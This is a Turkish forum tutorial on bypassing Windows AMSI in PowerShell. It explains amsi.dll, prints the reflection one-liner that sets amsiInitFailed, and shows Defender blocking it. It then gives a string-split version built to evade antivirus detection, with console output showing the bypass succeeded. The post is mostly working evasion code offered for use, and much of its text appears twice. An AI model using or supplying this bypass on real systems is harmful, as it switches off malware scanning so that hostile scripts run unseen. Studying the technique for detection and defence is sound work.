Merhaba arkadaşlar,
Bugün sizlere PowerShell AMSI Bypass Nasıl Yapılır? Öğreticem.
PowerShell'deki amsi.dll Nedir?
PowerShell çalışırken arka planda bazı güvenlik önlemleri devrededir. Bunlardan biri de AMSI (Antimalware Scan Interface). Microsoft tarafından geliştirilen bu sistem, PowerShell'de çalışan script'leri antivirüs programlarına taratır.
PowerShell herhangi bir komut veya script çalıştırdığında, amsi.dll isimli dinamik bağlantı kitaplığı devreye girer ve bu içeriği analiz için antivirüse gönderir.
Peki Amsi Nasıl Bypass Edilir?
İnternette "amsi bypass" diye arattığınızda karşınıza birçok kaynak çıkacaktır. Bunlardan biri de LİNK sitesidir. Bu sitede birden fazla yöntem bulunuyor, fakat ben bugün size en basit ve sık kullanılan bir yöntemi göstereceğim..
Buradaki sitede 2. yöntem olan powershell'li scripti gördünüz sanırım
Bu kod Orjinal amsı bypass scriptidir:
Böyle bir Hata alıcaksınız peki bu hata nedir?
Bu hata, Windows Defender veya sistemdeki başka bir güvenlik yazılımının PowerShell komutlarını gerçek zamanlı olarak taradığını ve bu komutun “tehlikeli” yani potansiyel olarak zararlı olduğunu algıladığını gösteriyor.
Peki bu kodu nasıl kullanıcaz?
Bu kodu antivirüsler engellemesin diye stringleri düz yazmak yerine şöyle parçaladık:
Şimdi çalıştırıyoruz
Eğer Okuduysanız Teşekkürler. Okumadıysanız canınız sağolsun. iyi günler dilerim.
Bugün sizlere PowerShell AMSI Bypass Nasıl Yapılır? Öğreticem.
PowerShell'deki amsi.dll Nedir?
PowerShell çalışırken arka planda bazı güvenlik önlemleri devrededir. Bunlardan biri de AMSI (Antimalware Scan Interface). Microsoft tarafından geliştirilen bu sistem, PowerShell'de çalışan script'leri antivirüs programlarına taratır.
PowerShell herhangi bir komut veya script çalıştırdığında, amsi.dll isimli dinamik bağlantı kitaplığı devreye girer ve bu içeriği analiz için antivirüse gönderir.
Peki Amsi Nasıl Bypass Edilir?
İnternette "amsi bypass" diye arattığınızda karşınıza birçok kaynak çıkacaktır. Bunlardan biri de LİNK sitesidir. Bu sitede birden fazla yöntem bulunuyor, fakat ben bugün size en basit ve sık kullanılan bir yöntemi göstereceğim..
Buradaki sitede 2. yöntem olan powershell'li scripti gördünüz sanırım
Bu kod Orjinal amsı bypass scriptidir:
Bu kodu direk yönetici olarak açtığınız powershell de çalıştırmaya kalkarsanız.[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetF ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
Böyle bir Hata alıcaksınız peki bu hata nedir?
Bu hata, Windows Defender veya sistemdeki başka bir güvenlik yazılımının PowerShell komutlarını gerçek zamanlı olarak taradığını ve bu komutun “tehlikeli” yani potansiyel olarak zararlı olduğunu algıladığını gösteriyor.
Peki bu kodu nasıl kullanıcaz?
Bu kodu antivirüsler engellemesin diye stringleri düz yazmak yerine şöyle parçaladık:
Yani stringleri böldük, + ile birleştirdik. Bu sayede antivirüs kodu tanıyamadı. Sonra da bu şekilde kodumuzu oluşturduk.$amsi = [Ref].Assembly.GetType('Sys'+'tem.Managem'+'ent.Aut'+'omation.Amsi'+'Utils')
$field = $amsi.GetField('amsiIn'+'itFai'+'led','NonPu'+'blic,St'+'atic')
$field.SetValue($null,$true)
Şimdi çalıştırıyoruz
Ve başarılı bir şekilde bypass işlemini bitirdikPS C:\WINDOWS\system32> $amsi = [Ref].Assembly.GetType('Sys'+'tem.Managem'+'ent.Aut'+'omation.Amsi'+'Utils')
PS C:\WINDOWS\system32> $field = $amsi.GetField('amsiIn'+'itFai'+'led','NonPu'+'blic,St'+'atic')
PS C:\WINDOWS\system32> $field.SetValue($null,$true)
PS C:\WINDOWS\system32>
Eğer Okuduysanız Teşekkürler. Okumadıysanız canınız sağolsun. iyi günler dilerim.
Son düzenleme:




